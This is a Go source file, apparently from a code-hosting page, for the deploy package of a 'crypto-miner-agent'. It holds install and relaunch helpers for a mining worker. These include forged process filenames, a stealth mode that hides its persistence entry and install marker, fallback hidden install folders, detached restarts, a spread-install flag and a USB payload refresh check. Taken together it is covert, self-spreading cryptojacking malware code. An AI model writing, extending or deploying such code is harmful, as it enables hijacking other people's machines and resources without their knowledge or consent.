244 lines
5.6 KiB
Go
244 lines
5.6 KiB
Go
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
runFlag = "--run"
|
|
spreadFlag = "--spread-install"
|
|
deferMiningFlag = "--defer-mining"
|
|
backupSuffix = ".bak"
|
|
)
|
|
|
|
// BinaryExt returns the executable suffix for the current OS.
|
|
func BinaryExt() string {
|
|
if runtime.GOOS == "windows" {
|
|
return ".exe"
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// BinaryName returns the forged process filename on disk.
|
|
func BinaryName(cfg config.RuntimeConfig) string {
|
|
return cfg.EffectiveProcessName() + BinaryExt()
|
|
}
|
|
|
|
// InstalledBinaryPath is the full path to the installed worker binary.
|
|
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
|
|
dir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(dir, BinaryName(cfg)), nil
|
|
}
|
|
|
|
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
|
if cfg.StealthMode {
|
|
return cfg.EffectiveProcessName()
|
|
}
|
|
name := sanitizeName(cfg.WorkerName)
|
|
if name == "" {
|
|
return cfg.EffectiveProcessName()
|
|
}
|
|
return "CryptoMiner-" + name
|
|
}
|
|
|
|
func sanitizeName(name string) string {
|
|
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
|
return replacer.Replace(strings.TrimSpace(name))
|
|
}
|
|
|
|
func samePath(a, b string) bool {
|
|
a = filepath.Clean(a)
|
|
b = filepath.Clean(b)
|
|
if runtime.GOOS == "windows" {
|
|
if strings.EqualFold(a, b) {
|
|
return true
|
|
}
|
|
} else if a == b {
|
|
return true
|
|
}
|
|
aAbs, errA := filepath.Abs(a)
|
|
bAbs, errB := filepath.Abs(b)
|
|
if errA != nil || errB != nil {
|
|
return false
|
|
}
|
|
if runtime.GOOS == "windows" {
|
|
return strings.EqualFold(aAbs, bAbs)
|
|
}
|
|
return aAbs == bAbs
|
|
}
|
|
|
|
func copyFile(src, dest string) error {
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
|
|
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|
|
|
|
func relaunch(exePath, logPath string) error {
|
|
return relaunchWithOptions(exePath, logPath, WantsDeferMining())
|
|
}
|
|
|
|
func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
|
|
args := []string{runFlag}
|
|
if deferMining {
|
|
args = append(args, deferMiningFlag)
|
|
}
|
|
cmd := exec.Command(exePath, args...)
|
|
cmd.Dir = filepath.Dir(exePath)
|
|
if logPath != "" {
|
|
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
|
}
|
|
applyDetachedStart(cmd)
|
|
return cmd.Start()
|
|
}
|
|
|
|
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
|
dir, err := cfg.InstallDirectory()
|
|
if err == nil {
|
|
return dir, nil
|
|
}
|
|
|
|
fallbacks := installBaseFallbacks(cfg)
|
|
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
|
for _, base := range fallbacks {
|
|
if seen[base] {
|
|
continue
|
|
}
|
|
seen[base] = true
|
|
try := cfg
|
|
try.InstallBase = base
|
|
dir, tryErr := try.InstallDirectory()
|
|
if tryErr == nil {
|
|
return dir, nil
|
|
}
|
|
}
|
|
return "", err
|
|
}
|
|
|
|
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
|
|
switch runtime.GOOS {
|
|
case "windows":
|
|
return []string{"localappdata", "appdata", "temp"}
|
|
case "darwin":
|
|
return []string{"home", "xdg_data_home", "tmp"}
|
|
default:
|
|
return []string{"xdg_data_home", "home", "tmp"}
|
|
}
|
|
}
|
|
|
|
func InstallDir(workerName, buildID string) (string, error) {
|
|
base := "localappdata"
|
|
if runtime.GOOS != "windows" {
|
|
base = "xdg_data_home"
|
|
}
|
|
return config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
WorkerName: workerName,
|
|
BuildID: buildID,
|
|
InstallBase: base,
|
|
InstallRelativePath: config.DefaultInstallRelativePath,
|
|
},
|
|
}.InstallDirectory()
|
|
}
|
|
|
|
// isPayloadStale returns true when the on-disk USB payload has a different
|
|
// size than the current running executable — meaning the agent was upgraded
|
|
// and the USB copy needs to be refreshed.
|
|
func isPayloadStale(exePath string, payloadSize int64) bool {
|
|
fi, err := os.Stat(exePath)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return fi.Size() != payloadSize
|
|
}
|
|
|
|
func saveBackup(installedBin string) error {
|
|
backup := installedBin + backupSuffix
|
|
if _, err := os.Stat(backup); err == nil {
|
|
return nil
|
|
}
|
|
return copyFile(installedBin, backup)
|
|
}
|
|
|
|
// WantsSpreadInstall reports --spread-install CLI flag.
|
|
func WantsSpreadInstall() bool {
|
|
return wantsSpreadInstall()
|
|
}
|
|
|
|
func wantsSpreadInstall() bool {
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == spreadFlag {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
|
|
func WantsDeferMining() bool {
|
|
if wantsDeferMiningFlag() {
|
|
return true
|
|
}
|
|
if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
func wantsDeferMiningFlag() bool {
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == deferMiningFlag {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
|
|
func RunFlags() string {
|
|
if WantsDeferMining() {
|
|
return runFlag + " " + deferMiningFlag
|
|
}
|
|
return runFlag
|
|
}
|
|
|
|
func isRunMode() bool {
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == runFlag {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
|
|
if cfg.StealthMode {
|
|
return
|
|
}
|
|
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
|
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
|
|
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
|
|
)), 0644)
|
|
}
|